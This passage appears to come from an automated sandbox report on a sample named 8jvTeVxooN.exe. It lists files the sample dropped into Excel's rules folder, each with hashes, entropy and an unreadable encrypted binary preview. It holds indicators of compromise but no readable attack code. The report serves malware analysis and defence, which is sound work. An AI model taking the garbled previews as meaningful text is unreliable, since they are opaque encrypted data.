Preview:	<?xml@t..Q..K..Vqy......:o....>.f.s/\|u..w&..00T3....7.Hf0...`q;.F.v.D..#8...=w...&..o'..o.....xb.[/..........).V+..\.%..UTI.........\|...g.WQ.l...../....RJ.5.....;4..oR_. .>j...Z#..8u........9........D..^..8[....1.~h..gI.....!<.P..a.]..N).....N.Vm.q....6...<QjO.y.V.E.KC.n.e.6o...ZR.....V.D]x.5..o..."..k.s..A.).....k..q-..pL..t.vw...xm...M....e.'.S..%......~...X.~.Re..+O.1o;.I..3.u...?..r....@.Y._.a..._e.=@t...~q....o..R.5......si._.._.}T...EP....j.tFY..^.\|{.;..Gt_b.r.{.Ny.h.=..i}..9..D[l.......J....g..)...37?x.#..MM..}P.;.1.PH.....I.V.\|m.HH.l.Q.x.~$...Z...zA.....h5M...?.x..f...kyk....2....e.v..\|.~A`.R...X..%....ew.....&y..I.[......t.x0B4....N8]..me.r...c..L.m>...P.....3...op.D^..{..f..\....,..iI......_8...J......s..h_P.M7dk..{5 ....W..g..bf.t...2nw.).w.b.0.\|..w..].%@..`G.Cj..#.-Y6..-q3..=....d-..{!..{..F.......?@.,G9y.h..u3.2&...C...X.V......c.....>.z..+.6.W.N........b..C1.m..<.......F)K._...I......@..q.\|.....m{...x`..H.{+Bf.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68038v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.7460630357992
Encrypted:	false
SSDEEP:	12:9NQ/u+XAHDDpk/QqinPB0gYeFk2zI75fHL330iD5Wppzk8ipV6BouOcii9a:9N0uoAHDD3Z0gRS5fHL3kiMbzugBtObD
MD5:	987A9437A5220E2506B5423A7AEF24F7
SHA1:	9456D14B0DED511DCFA3E725C330D75843AE25F3
SHA-256:	D33ED1AC9E547D887FEA05BA4B5713DD5C01B25412E327172ECDA02DEF99B51D
SHA-512:	61008AE89249581181C9E5A0D415364B83F92503A7E8DDAB0155DC6BF1C63BA33843C36426F8667FBEBA984602AC108A6B6181725037B0C890F6BED1703AB2AC
Malicious:	false
Preview:	<?xmlf..K...d..g.<D.2.c_o...I..s....G.."..n3J...X..&..#.HT.....K..b.$...D...lmeG8..D.O.}..;...%...h.vB^.....4...W.0._V..eOM.AJ.Uo`.dW...dxo.Q.2......^,...sw.TT.......79x..../.ui....57..."..l.../....,#..'@.(;...^...Rb%.+....S..U...E....I... .nN......._.;.\...p:..............u.~.ls?..d.^....r..h.^._I.$i...dJ.u..^.[.....5..W.*..'m.].....33h~.Wk........pw%.....O1..i....CqZ.f#.....~.c........b......^.:..0.S.. .}....y3.yx.......">pz.R".\).k..].).l.. ^6...(...G..P.[N..P...a.c..7.{.....?..m#.D7C.....EG.........geq./.b(..r..x../V...h..M....\9.sT..#....Mq.....~.!.g....^.D_..=Pl..:T;g..H..x.'.Y....=.....U.sKJ..X....l..)jQE.....c....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68039v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	7.793178841224058
Encrypted:	false
SSDEEP:	24:mR9kx0Xv66auD4D6k8W5Cf+YCheX6O4WUdeCvtwjR6RCs+0ObD:mrbf6Ki6DsCf+wXBoCjs+XD
MD5:	0281332CF4C8F6AC80B6A47BF7E70E38
SHA1:	3D5568EFFD0BD2287A69A3D54770A7A546654BB3
SHA-256:	3FFA20BBE21460520215AFE36372869FBC53F42B6D000ECD2A5BC519ECA58152
SHA-512:	602EF5EB768DB4D0BB21F26909124E8F5D61875A4DD2ADD50DAA07B8ADF169A0AFED9C028AE1837196A2F3A73B6CEDF7EF4A2409C5A0F4923A0C78C137416034
Malicious:	false
Preview:	<?xml.f.@.......Tl...&.~...r..0..<.P..s.ziRm]...Di/.nfJ......T j....w....q..........-O.m^.."\|.....R.~V.VO.<..P.&..y.R..}g..@^.....("?......"n...'.....\$;...4..7.q.Fo....>v..;S..8q..\|h.H3B"....jO..NX.6.uKv..r.%.?~.z............8...6.P...a....;{..$..4....I.}~...9.k....<.T..v`...C.h}1`...p.!.E....@&..%..b......7.b.L.Me.1.....F.\..oP.0...V.p.../.v)...0uh."../1q'...$S..r.0K.U......j....R.m...k..j.\..X......0.-'..F..P".\a.c...>He...P.-.]......,..5.....wm.0.w...:._..\|+}.U3...q\|7/K....W.Q+..ASf.p=....jR.^z....$P...P9h.ve...%..[1(.L.U.Fy...R.0..t./.3...K3..V._?E..]......],F/l.B`.!.4. RUu......s...d...]......T%.... .....K5..pTz..j..B.xd..9...k.}=...%D.Z...]..z{{\3$.6......-?0..._.l'...{C..E}masI..x..CW.)..Y%..}....!.....'..4....M..^.....O,..W...I$u...Uf...l...G...R_.S.iw........f...=<...]..............1Q.%.}..0...^'...Gg...id..,1P.....`U\..Opv..wu..l.J!m...?P...X.%..$..."...m1...6.8.......A .g.........RZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68040v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	7.783794617466512
Encrypted:	false
SSDEEP:	24:skcFoQDUMh14VvM8PX3KLU3tm5kATCUsObD:zcFoQ7/C0eQNTCUvD
MD5:	BF2DBEAC86B12FC8CDA1F2374FCCED56
SHA1:	5B5CF957F5A7DB13BC342C656BD4272F4703E568
SHA-256:	3EC54C64644EF374D053B971ABDE80FCE36E80396F94CA44B51D3C133B8A8961
SHA-512:	AC63A9A78AD02587E9853C638B81D9802EAAC7F894B2392052963C12BAEEA0E6F09C19CD61B9466CAAF76B81D5195BAF06851287AE43A98B0BE54F883A78A980
Malicious:	false
Preview:	<?xml.I.-<t...R.....N........!..3B.3.k+...Y........,IC].`f.IH..e..x..... V...~....w.%Bu.i..I.../.....I.,.....n.BD......_.......`o..)..........Sk.dxb.cY.......$.+..D...Y.`......!.z..R,...T......-..Qcm.!..S.8......p.....9.Qd.:........8.....j......`....~..7.t<....r..H,..#aj!.X.m....j......~.RF....{u. ..o...G3G4...N;.L.o.T.K.....l%....(......TS..bc.6^...llM...=o..,r.'..X.6...w.....Ex.....H9......=..v..H(...M.......:lL...(..\|.2.$.o.L....>...iF.x.,].a.{?.1.7..`..h~..2W........w..y.....x\|s......C...wy\.....{...3......`-..y.;.Q.-.wW..wJ..p...+;......J.bM.AI...m....-r..`.pU..Ke...6UiWMr\.8m...Y.N.SG.........[..:..K..:..g...j.6G.P...z..`...r&\...5.......R.m.R.r0r.......$%..J...uO......p...J.h.9.[W....c.q_.B\|.$.....y{..9......4....S~..r3NZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule69600v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.840299165153446
Encrypted:	false
SSDEEP:	24:GjQ25RslYd9Ii3Q1NTxHtbvyrfOwQShSk7jiVT5X8OE/zmTdDeZ0fObD:/Asm9Iqkr5N1rk7mVTyv/zmTderD
MD5:	29E6C6BF8E03281537115DCDAB11098E
SHA1:	52397D836385A2BDCFBF9F3EA5DA8F05760AEEC9
SHA-256:	67E6295341ADB91598A8C6789AB2AF9C3648D8C6484A980C2AC3750CB37906A2
SHA-512:	DFBA708A0F923810C3F2AFFA4A54ADC5BE03FD2170D50559BFF23793441948333105C411562104CF1D38C1F9DD473DCBBA9C7B1F122FF25BF9BE6DD6486B0600
Malicious:	false
Preview:	<?xml;.g.![v&...0.)...U.=.M...p..I...X...C(..{.........b../..`...XfP...<..P..g.Vq.....p..z.."...z.X..LS9.$......0.3d%...y.H .J..6...!rd.....w........._..@....9.G<.;....Xi."W....A.q..1X....li.M..zU.Z"...(...&.q)_B.Z.3.-......eE...4Z...p..x..T.+..!:..I:.h.M..bL......VF+Q..E. ..@.;?.U....l.b.....^.........]..buU..?5T.....[i..e.k......$.2?....bile..x.....t.rtkg%..x..C...ap...\./....#.....Z..3.7.\|oxY..e..Mg-.}.6$.L!H.}7b..&..o+....&.u..3..K XS.......).n.5.I.V.v3....I..../.gMn8...)...}.....?7.X..%..........OW...ra...oZ..;.7$...3/...2.xG....3l...S......aH.K#.1..-.Gw.....f.i1.2\]...M....z...C..A..t...\W..J.m..?}..-.p........ ....)..\..Cr'.D.i..-.F.....^?.5f.R1.b...u.K...g.......~.S8.....V^f..A..F.v.6.W~..D...!.....KTv...#~..h..{..4.V(.O..2.*C0{V.,&Wp.....v....L.:{1.9..[i..]%..m..ldJ...t...[m.V.T.4..h.5P&>."..X...Y.bX..G.2....nI.E...3C..m..j....}..)...]+..K..h..'......0../.qQ.bV..d\Q.:......O...C..Q^..a.....r...3......M.{OLm.c.)...Q.R.5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.896777565694051
Encrypted:	false
SSDEEP:	48:pFcln3MMk6x2DZGdeWsodBmHFqU5gp7QTJA6iha9V76D:s3MPZIes7Q9A6ik9V7S
MD5:	91C02F9989C95BCD754A7133C02748AD
SHA1:	C6EF54D69DD6ABCC0A6BD43F39D1BA0D018CD6B8
SHA-256:	3E8202CEE5A8EFE86877904AEB8AFA3F17773267295CE33215B6AF09262A66E0
SHA-512:	00B26DE0D7601B021EB829787F5B2E38FCCC723E036D1469B7D2B330181CF74318E1709EAE343BC1620CA740879DA7B32EA0051FD9E7DB2DFB4383AFE22E4C26
Malicious:	false
Preview:	<?xml...7.z.Nz.(..@..............5 ....6a(...>.By..3..6..9Q.r..UmI.......Ke....C....[..1. Skkp..i.:C.F..8....?+....:.Z.........gh...AtLo.z..z..q.X. ..... .KW.\|.!...w).}..X..L.r.+...}.C...G. .M..Y.$.?n.%.....d..I..\....93..../.....UN8..nE#.....t'x.ud.&.K6\|.5.....>..L.f...O..-........B..M....S...N....r.S.+.,M2..N.y..m.}.%..O6<.0.s.E... [{-..,.{2b.......VK.M...S..R.d...e.7.l..bU..B2.4.N.=(..Wh.T..7%...JS.e....2.X..LH{]1.u..&.W. ,5X..^r..)..A?...[._.....6.^....m\|..5...5..a.b...%.:P..S.7K.KK........g...v...)N.51O...x.12F%.G..b}.e. ..=...M.D.A..{.!u.B..0.:.O...B].!~.`.&.[._..i......'.6! 0...V..o=9..S.K.t,t'/#W......}..Yt$...NQ.k.j.7&dj^..Z.K..;....o..&&....)gl..c.@1KD.{Af...$.K..I. 2..i.].......d..................gtgo.\|..Y\..z.p.k.... ^...7.&...e...E44..!.V.?c..{......h..;.c.u.....0...2.Q... .......@.6..\|.G..E..c...h..7r ......4A.y.....T..PY1i;...T.s.H.....u..........o~..iBY.....7...J..:....S..._.7.sL_...U./Q..F...1....:/.P...@..WEO1..4...[S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.922744562987411
Encrypted:	false
SSDEEP:	48:JpWVv2Cccc8dw76KskJNyu65aKtSWmJ4W0LJQNSAc8Wgl18mSsu2mHID:bWB2CccDwqkJNHvKtSL49IZW4iFVHU
MD5:	2011F47091FFD6FF8B3122473F17FD14
SHA1:	2EC107899FCEA6FE2C311ADFFEE48B61D962D98E
SHA-256:	D21BF9A47588370161D2234F959D87F34983AC52F14797CC1D8BA41E2C207E97
SHA-512:	1213E4423BF0F89CF61BDDEDA8056F3BCF1191E90DAAD69BEFF94210342A1EF247FF2DD30AE242C68B54990E39479B8DE5D06F9BEAAFFE61EC79BCBF75CFF4CA
Malicious:	false
Preview:	<?xml.(.nDa.-....b.s.?A..Wdgq:.LXrw..{Z..#)}.P.-.H"......f.@,.I..6..F.c..!y-.?..P.._4......P......Pn......^..3..6......iz..=,97...Dwt..YL.....PoT@..{.R8....k......:.dh......TM..l.....R.....W.b.....z..3..:$.....7hk h..k..D`$Z...=..j.X........X.E....'..........p.g I.\.;7..f\.TH..~%..K..a..K...!..\|.q...(.w..;E0.....VdJ...^..T`....BI...........5..m..a7...}.G..T3m....h}..)......Y.....E.....\Q\|..>u.mU.H..m...Q.R`.....Z..o....g/8.?..^...;.S...\Ay......!~..-\|.....#.PT.vrg.>.$t..:....O..;...3,S'..1........l^I..-b._Z.F..?.N.e.Z.2K@,p.q....{....\|Q!.\./ZG4..s....r..jS/......x=.a..l5Zt:.fu....f. ....Nd.:.y.D&4h.,.Z9Y....fF."...CP. 3g.v.....b.......D..SR......z.n...B.FG.R.I+.T.......`B........#....L..y....}.....d..u_..lO..Q.O...q3'aB....+..U..~.......Ul....#Q.m.H0.>........h.^_...m....<#..l........G.f.....H?.^(6........p.t....TE.p.!.:._....{....J.g^....'z@..:g.".m(...q.=.oi.b....aeR..p.>(.q..Q.".].Y...k..s...U.+&e=...=ah..xa.jw.]......=B[.Z#f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70002v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	7.729248296166316
Encrypted:	false
SSDEEP:	24:hjaW1S5G2gXMCGe5NW1ZTKKtIwYU/mObD:htupCrsZmKOwYURD
MD5:	10E75C155BBF5CB5A6DA9E121C8EC886
SHA1:	0FE5FDBF2C274BADF13046391E61EAFD2E9F9880
SHA-256:	DFF69068FD8E25CC10A13FB53B4C40FF0293E4882694E47F28694433A3468941
SHA-512:	C6C92076B2B88EAC6E831C0E7A4D8814AE4BD1B9D8CCBB013B193B086D97EE1EECCAFC6924D7CD2584F41394A681F0573CB4C051559452382306A81124C25841
Malicious:	false
Preview:	<?xml...........>^d...]...v..ET5...7.4r3....qU..!.d....>[..'B.M..}U.......;6...Z....a..8.eh.:Q.&....mO_.x..V.z)h..'.v.-!...x..!..y.\].X0.pU........?84...B.w.....t..b..9.....-k....m]%D.)......,....g.L.T.m..pX.L./..fJ...~-.....c..I.\4...o`..L...od.i...If...J...._.....Lb......I..Z.G..Q.9..%dH....."61GKtK....u....a@..ct.z1..R..bO..h[...X....B.Y........x....&6.e.n-JMzh..^..M.1..E..:.Y.`......'l.....l.@..\|<._'m....U..2r.&IT.]Y]Cb..2.4...:.V....Wd..gV...8..J....X:.>%.$S...9.&.'P.g....`^.}.3<.ec.,]d>;.p8?.Q....G@.". ..;....g.....E...XZ....=.!..`W.(...^...0.E...6.....S.....O{k...R^........).Z...e.8.....x.........%.<..j={.m......P6..m..l.Z.........,..n..H..rq....."...z...8"2c...li.m..h..6.WhL.-.}}......M...][.ng.]...$W..l.#(...XS..F.... NZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70003v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.680242566761429
Encrypted:	false
SSDEEP:	12:F1co54EdQjD+PIeHh88pn4vPYQKOzLKKTCPrAiy8o2T/AXhF8GlGMDLuOcii9a:F1JLS2rB88p0PUcLfCPrpI2sXz8GlhaI
MD5:	EC691E31811A8E368EEDA3F6F66FEBE1
SHA1:	45D46521AA5A814B47C14656E28DFDA4CAEC708D
SHA-256:	BD70B18D7AE4AC2C39036AB54C9D40A618894FACDA0D29EBE4C9F74A263B61E9
SHA-512:	BE0D1208CFF69C834971A2773DAF637D168E6F21ED6ECF0A7D3AEF90DB445C7510AB81555F1E25A08E3384C25C2E7140AEED310DEE7BCAA86BFF55E4C1522B49
Malicious:	false
Preview:	<?xml..G/uG.7.8hy\.n...s....3q..Y..hF..u..0U..$.dGZ(Z{./...Z...}.Z-W.U{$CA.C...c.N../w+..\|..f.wO[=^ef.;...uZ.X.Jy.Mf^=$1.6..r..h.Ut.!-.=.6..Y.#.U...J.<[Y1f...W.F.........<h......F..O.....L[.9.&.....[.....:..,...R.......cL.{f.._.K,pv..O..:.t..gO9.9O.DP....C.R..9:.O=^V..4.D.1.L...WuT@Ks"..I..S%.t..WL 7..\e~..A.#.....Md..U2t.f..L.0.\|%=.&k.T.z9..Lgr../....+........{x....^IU.h].h..f./.."..v..2.3..V.0y..J...H.Z.X.i.U...:...x.~5y...0.H.H.. -#.~..N.V'..*/......,.Pc..x4.a.W....p.,m.....>...;t!...rv>.EP..j...a.M5.6...[.H..c#T.Anl........rD ..1.q`.1o .........V..../_G....>..u.,.u6X.,.f.Z{.}.......3...'..n..($]6?.k.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.885023175729467
Encrypted:	false
SSDEEP:	48:P5dDIAFcADtRl3BBoq7CIDsI55ni/iGdf6MvCD:kucuzF/5i/hfM
MD5:	555AEC92CFD52866FA4720775F51524F
SHA1:	A87A1A51E15A89601FFC6B84B5687DB27F760875
SHA-256:	051A07C546811BBE7544B879283E48103AC8E9E299776C817BDB6FCAE2E9830C
SHA-512:	123297332E2E299259CC199F38EAE01AB53E694418A6F0830C28A2B67F0F3E75154577AD86AE96E8EC2F1F2BBF7A54F49BC9208568B1C659CC3E464184B617CD
Malicious:	false
Preview:	<?xml.....8.D......^.f...meZPP......\..5..d..9.e.......!.(2.=...".".x.."..W#.61z>...-...&......G....'.N..&.O..........v..N...;]..NHZ..../.Uq.}k...N....$.<..P.......FH.k...o.d....6.....t........[.L..~+..V....mg%;..5`..,>..c..w....8.X.Nx.....98.5..b.@1j....B....!l.....J.-...m ..].J....?'....;...+.=.....4<C.E....O...1..Ak..M..].oOb...g^.Q.%...I..CX......Q...n....T.b......8.l..MZ56/W...)......rds@..^m...5.f...\|..s..v2..?g.2...y.}..8.......B^.L$...c!M...@u.........c.\|D........',.V..]$@3.:z....3.X...l6./<u...\|B..........Y17 ..<e...o..K...d.M1.^6.[.s$.U;..j$.xFK.wk.E...4.Z..6..h}...&..?K.Y..?....B..Y........_.3..Lo..A...gW....r...;..mk..d..l9.z.....`.K.W.....P$...._....n..2w.,..T._)/..yB...g..Z........~...b*.L.Y..'.L....B..-..K....SYW...{.K.....d6.7..t D...v.[ ..do.q..(...}w.^..8./....#......`.'%AYB.z.....0L...- .L.m...F...n./...'....[..... ..QP...N0..2Ur..BSBI.4w.....2.ay.....N.Er....~....r.....O....n.7..;.Q...V....XT..7...!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.878994637730757
Encrypted:	false
SSDEEP:	48:YDKPrE890h7Q8i7tEn2fXlpS0JBQNtPzD:fPA8uQx7inkpdJBQNtPf
MD5:	24BCF5A49C406D1E701BCA18C8DD6A82
SHA1:	D948ADCC03B99C1517C3A8296BD5290A69208E8E
SHA-256:	01A4EBE6E555F4B9ED61A2EBA28D631343A42EF8BDF4F2E6569BB53DCCB2F155
SHA-512:	76985C489E73D3141128EE7F050000B70713FA4972D7C7FC5F5DE6A2B6B110D21C98CA14A15CE21C608E56743B8DD3F833813594FFD7129F4C4D21692467207D
Malicious:	false
Preview:	<?xml\|XP..;....G9.71.Rm..i4.!..,...4..D.I......c.T.."%W.&X.3?. j...MC\|HkNC.m.......~X.YZ.......U.sn..32ta......u...&,......?..,):.....g........+_.5..M.C.W.9..f.L.....U&..(...._r=...Z.I.2\v.9..p.q<)......a.X....3.$...O%..{B.....m.........2Ma..}j..O.SVB.-QjHS.....h.QR...5.S.;}.....SV..../.7L...z<\|]>........:Dty..R.Rj.....6l.W.b&qN.h..J./Q>..o(......."..K:Sf..t..\|....R...B.cS.%[_~..q[,..FT...>.?..X..D,.wE'....bb:.~...^6..#lX_r..g\|.`.0..<.>...u@.P.,.K.j.t.j...'..X.:.h\.d.f.K..yJ]4.l...g.._u.^....?z2........e.C.>+].K.a.!".K.b..2...E...vmF.9..&.T..C.....(.u.@.....G4B..ti..X....8.u..1..1..y.E.XK...>.C.U.K.i.5....o....L.}..r.....-..'.Jl...4....OSa^#K...U..~.z.....O.d........c.......Zs........f.#d.DW..zA.Ye.{M...l..2..V._z..M.......'V..o.......f.....k7.D....P&....B...wi.\|j....I.NH.S^....h...M..>...y..O...%-.{l./.../zU......_u1.:yG.@._LF..t6.E....\q.l.L0....7..'}.A^.\|.....Do0..7...K.6..r.:5.]...S..*...e...+.".0;...........2...;......b........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70006v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.691052375679958
Encrypted:	false
SSDEEP:	12:N6h6BILAnAPVIqscww/eUn6SZ+aO2Wosy1ODwlUOnSr87neaCplbFbOhOGW6TMm5:kEBIAAPVIqsjw/L6dntDwlUOnD7ejlbA
MD5:	3825BD693674E6B3DA462023A21C9235
SHA1:	0A505F87BAD23A07282A8950154F77F538FDBFF9
SHA-256:	7B25E8FF466828EF9CF5C18651E85BCF4747F443984D97994F797043A662F060
SHA-512:	7C75562C96F9F585F25226FB2DA2AD3348B4C0FFF66872A3CF255C83A6B973EC72B86F0DA1CF03F929BDB2D9FD9332DDAAD7606B377D02FD929C3FED531D3D30
Malicious:	false
Preview:	<?xml.$c....+.$..h...5.....?..d..oCo.8.o.h.K...}...f.%.....V..GS...........B-.m.....}i....#;.e.G....\|}'....~T..~m.C.!.C.(Z9&......W.f.b.t.J....egI.-.....\|B.\..I..n..K..p..>&..S........0...0].......3.O...d..Yr..zK1.........a.v...h%Pm..m......0#[...\|..(.&E.l.{R.wY..yK.Y....I..Y>}2....A..D..DJ........5.....B....[.M..~2.v....]....]...gs...[..\|N..w...WR .........y..u.t....=...]uul.g...r....\|.3.7V.Vi..Y.....Zx..t..<~...9.F....5p(..J./c5\.Y....\.0O..,.Z.3.-.:6..!.d..D:...<..,i...7../4Q..........N...0.....vH...>.{._....z..0..t.Kb..&..L.T61...P2i.".$}.5...)f....@...Mu..'E.?..She[..~.p..N)"..7*#....b..\|;TO...%p._.=..Ik.b....(e...joJzH9W.?..m........8}..D Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.88127372810647
Encrypted:	false
SSDEEP:	24:mLC1eIisBgmp50Hy0AEEhMKfFUMbGhGVTL/QfNlTp1gCLZKxgC1GvHvWMjsXRpqc:m+lZdSyxcCChGN/obgCVsBGPuM6X39D
MD5:	AE8485AC25E93A458FE640F3D4B25E53
SHA1:	CF28CC78CFC0D1E3EA4F5C2CA799D4B64D4B7B91
SHA-256:	829F1D788038C01ED788BF07EAC9465B8442045FFD996A7087B9F18893A32A3B
SHA-512:	EC65E331A43FB1952A99F9E487EED575D10F6A08A2ABA72E719F48CCB14CEC1D2A5472488458DC90D9E8CA110D557874CE33C162890E6F5C41C74E46C879F70B
Malicious:	false
Preview:	<?xml...i..^>......o.............h@.ru.R.Q...6...:L..y5.$0...6.j.Z.1....H1h&$\|C...?.....W.V5.4.Z. ])i.:1wS.^p>K.[b...g......^.O....`.EP.7.....=$.<T+...v...0.Y.-.(.!.N....eR......'.....}.[...`K..m/..;....n..t..Y=Ws:..5.OW..q....l........c..T~.Ll.t".R.~%....8XF..._.bA.-Lf....................L....c...<...5.K.....yG.E..&tG`%..gT...).(.M.e.kD..)..,,B..Qt.}).e.RI.]..q...f.Z...ylD..B.U.z...Y):...\|.....e\|......@z......T..A.[.\|)%..~..%]KU0......O.n...V.h...;.HX...+%...#s...R_.'.w.(.%.]..UU......-.7.(.:..s(.D-....N.6.S..(..c.....^..[..Y>......~.0.b.hv.i...c...............0....^.Y.>..I."s).L.1...pX5.t.#V.L\|lC=.<G@../r5....".Z.....@.u..'z..<k....T:pP..yHg....M<Y/~. .84...n..o..Hq.P.!s.6J<-(.-...........F$....O'@...BH........Q..J>....U.f.......L2...`....(....r.....].K<....../.>..B.`J.k.Ls....e..i...+S.!.L.@O......Z...r....-q...~.UY......[.y.l.]..[..t...w.^..8....$.....c3.....B........+25.d.Z...c..q...KA_.....g.~..9OU...6......pP.bu.L..et.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.877636135424917
Encrypted:	false
SSDEEP:	24:Ox/QziwdhCEgNJoxpWXmBpdxm3Kib2hTT+3fQgXbn4mc2DzuAvoaEObD:NRhCHNspEcpLm3FbCf8xC2DzuAvoanD
MD5:	F3CB741BD80CB2D769186903DE24FFFC
SHA1:	9260E53568CCCAA7FAE481302E4F9ACCFCBC5C14
SHA-256:	D4D9C2A25AC0C0BEF0526840F5CAEFD50626486EDBBD4BA8D4C751A283CF8E10
SHA-512:	F2FC878063F3C59476C022EC6BB991C9FCC8ADC8CBB4A6FA295D41EBE0AEE373BC79C52498AA849B7A20DE6FC2FFCFA07047BE277CB0CFC2AD2D690642FADBB5
Malicious:	false
Preview:	<?xml..V@..v..-UyS..WRx.........-.....;.....1B..Qm....V..;.Hd........!...Gb...3...$...!.1.s.....R.f.u.f.. ...kb...W ....e(%&..(..<....Y...V.../.}&..$.5e........W.....-./........L.D...+.+PB.).......5...N Y.O].tJ.<?...r...f.^pT/DV..x.3E..F..\2.<.bV.MV.f...o0. .X/F.h...S..7...1f....8.[..Z]...S..~k+.1.......r....W.#.....U\|R..."l...gY."-....X.H[a.....j.#G.q...\|.KQ!by4.{\...F.$.8.r...0...L../.<T4.]J.H=.uu.....i.W..k..0$..3..9jZ...nL[..'x...Q..G...E!.`.c\.....n2......$.R.........s.p.@.e...+.0....h'-e.0....o.W.Hd. ........f..k..7..u.1q.$!..L..3A....YH8..Yu%. ..h+..o.H...9yT.....f3.L....WP..Wk....e?...&.\#........6......h..X....LJ.G..(.pB.R..o..PT..t.....w.B.{6......~91.&.y.v~oIO._.p..Z...PaZ.G.....Qo...SF..!.........J4.'.../..n_..W;b.....\|.r9..E:.P..]k.P4wa.2f....x.>N.n..s)avfY..\dn.>...i/g..f.n..X.FEM'..W.?]../...Ap.S..n..,....!..f^.0.n6..R...2.Ef...#.3Vk..n.......v.......c.....Yt~.>..._..w...b.Y....).J....4.....Zc6Q.....#,.'.M.].k...b........].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.872312591504773
Encrypted:	false
SSDEEP:	24:Dw5heROARV1tzLlM8TrJ/BznNJiejeZq1Xsh0zsheHCK+dPYH72giXazH5L3jguv:U5MDNLFTrNBTVpjohndPQ7ziXEZ/gujD
MD5:	041E58B5D8F242A39FC5F2192B83B899
SHA1:	0AF157C09534C965F77C0560A7839AE3271FA858
SHA-256:	F6127E0BBBDB2A82A1AD2D9B7EC64932F5139C93BBA989F8D54EDDDBF37B43F1
SHA-512:	F33C39BD25E05283105B713E92914577DC040CD8D64D349A093FE470A748D0C755AA646C5442B5DCADC34AA0DF79AEA2CAF00EC847FA748906044CE1995233D3
Malicious:	false
Preview:	<?xml.\..&.........O.E...:?S....8.&1.A..<..c.I1aD~...Y.).....5......3..K....u....dL0.....S.........6Z.v.?.N.x"6)\}..v..'F....n..:a.J=GM........q....._].&..[{.+.w.B.D...M....y.yO..;.Y.x.[xD..W:q\|CZG..):`Z.w...-&@.t....k....&.-....&..:..m....G...6..e......j..D..:.........NnS..d/..Ay)s.w......6..JA......0.6.t.."..m.KJ.AH.ERv. ...)...@..g6tr.8m~+.cz9.;.g.0.e.@ejH..c\KS.A...W...6...K.o..s1............./...<r........w...he.j..g.p...1.x...8.2..#..y.-E......+.......[[E..x.-.p4\...kG.)..w.......k...2.....t..HT.R..Wi4..Q.U.. }...h...2.'.:....QSs.....U.#....QW.D......!].zV..v.:.H=.sz(.t2.c.m....^A.A.Q..9.K..WQv..\|..Q...b.=.M....[.C.dF.......q..o....c.....)Z..W.V.\|.Q.3...O.(..W).[.m ....-..Q<Y.b.<.~....J.M..[..]$V.......n.1...T7...T.....ov..gN..........cg<.[.(j..e.L... h....w..n+...#.5..[O.lc..C.q..F% 